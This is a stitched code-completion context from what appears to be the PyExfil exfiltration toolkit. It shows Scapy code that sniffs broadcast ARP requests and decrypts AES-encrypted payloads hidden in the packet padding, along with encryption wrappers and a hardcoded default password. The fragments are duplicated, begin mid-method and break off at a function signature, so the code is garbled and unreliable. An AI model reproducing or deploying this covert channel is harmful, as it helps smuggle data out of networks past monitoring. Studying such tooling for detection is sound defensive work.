# Path: pyexfil/includes/encryption_wrappers.py
# def AESDecryptOFB(key, text, unpad=True):
# 	if type(key) == str:
# 		key = bytes(key, 'ascii')
# 	padded_key = key + b'\x00' * (32 - len(key))
# 	decryptor = AES.new(padded_key, mode, iv.encode("utf8"))
# 	plain = decryptor.decrypt(text)
# 	if unpad:
# 		plain = plain.replace(b'\x00', b'')
# 	return plain
# 
# def AESEncryptOFB(key, text):
# 	if type(key) == str:
# 		key = bytes(key, 'ascii')
# 	pad_len = (-len(text)) % 16
# 	padded_text = text + b'\x00' * pad_len
# 	padded_key = key +  b'\x00' * (32 - len(key))
# 	encs = AES.new(padded_key, mode, iv.encode("utf8"))
# 	plain = encs.encrypt(padded_text)
# 	return plain
# 
# Path: pyexfil/includes/encryption_wrappers.py
# PYEXFIL_DEFAULT_PASSWORD 	= base64.b64decode('VEhBVElTQURFQURQQVJST1Qh')


import logging
import thread
import sys
from scapy.all import *
from scapy.all import Ether, ARP, Raw, sniff, sendp, Padding
from pyexfil.includes.encryption_wrappers import AESDecryptOFB, AESEncryptOFB
from pyexfil.includes.encryption_wrappers import PYEXFIL_DEFAULT_PASSWORD
		:return: None
		"""
		# Here is where you want to hook up to automate communication
		# with the clients.

		if pkt[ARP].op is not 1:
			# Not 'who has?'
			return
		if pkt[Ether].dst.lower() != "ff:ff:ff:ff:ff:ff":
			# Not broadcast
			return

		try:
			# pkt[ARP][Padding].show()
			payload = pkt[ARP][Padding].load

		except:
			pass

		decPayload = AESDecryptOFB(key=self.key, text=payload)

		if self.retFunc is not None:
			self.retFunc(pkt ,decPayload)


	def listen_clients(self):
		while True:
			sniff(prn=self.parse_message, filter="arp", store=0, count=1)



# Path: pyexfil/includes/encryption_wrappers.py
# def AESDecryptOFB(key, text, unpad=True):
# 	if type(key) == str:
# 		key = bytes(key, 'ascii')
# 	padded_key = key + b'\x00' * (32 - len(key))
# 	decryptor = AES.new(padded_key, mode, iv.encode("utf8"))
# 	plain = decryptor.decrypt(text)
# 	if unpad:
# 		plain = plain.replace(b'\x00', b'')
# 	return plain
# 
# def AESEncryptOFB(key, text):
# 	if type(key) == str:
# 		key = bytes(key, 'ascii')
# 	pad_len = (-len(text)) % 16
# 	padded_text = text + b'\x00' * pad_len
# 	padded_key = key +  b'\x00' * (32 - len(key))
# 	encs = AES.new(padded_key, mode, iv.encode("utf8"))
# 	plain = encs.encrypt(padded_text)
# 	return plain
# 
# Path: pyexfil/includes/encryption_wrappers.py
# PYEXFIL_DEFAULT_PASSWORD 	= base64.b64decode('VEhBVElTQURFQURQQVJST1Qh')


# Path: pyexfil/Comm/ARPBroadcast/communicator.py
import logging
import thread
import sys
from scapy.all import *
from scapy.all import Ether, ARP, Raw, sniff, sendp, Padding
from pyexfil.includes.encryption_wrappers import AESDecryptOFB, AESEncryptOFB
from pyexfil.includes.encryption_wrappers import PYEXFIL_DEFAULT_PASSWORD

		:return: None
		"""
		# Here is where you want to hook up to automate communication
		# with the clients.

		if pkt[ARP].op is not 1:
			# Not 'who has?'
			return
		if pkt[Ether].dst.lower() != "ff:ff:ff:ff:ff:ff":
			# Not broadcast
			return

		try:
			# pkt[ARP][Padding].show()
			payload = pkt[ARP][Padding].load

		except:
			pass

		decPayload = AESDecryptOFB(key=self.key, text=payload)

		if self.retFunc is not None:
			self.retFunc(pkt ,decPayload)


	def listen_clients(self):
		while True:
			sniff(prn=self.parse_message, filter="arp", store=0, count=1)



def broadcast_message(message, key=PYEXFIL_DEFAULT_PASSWORD):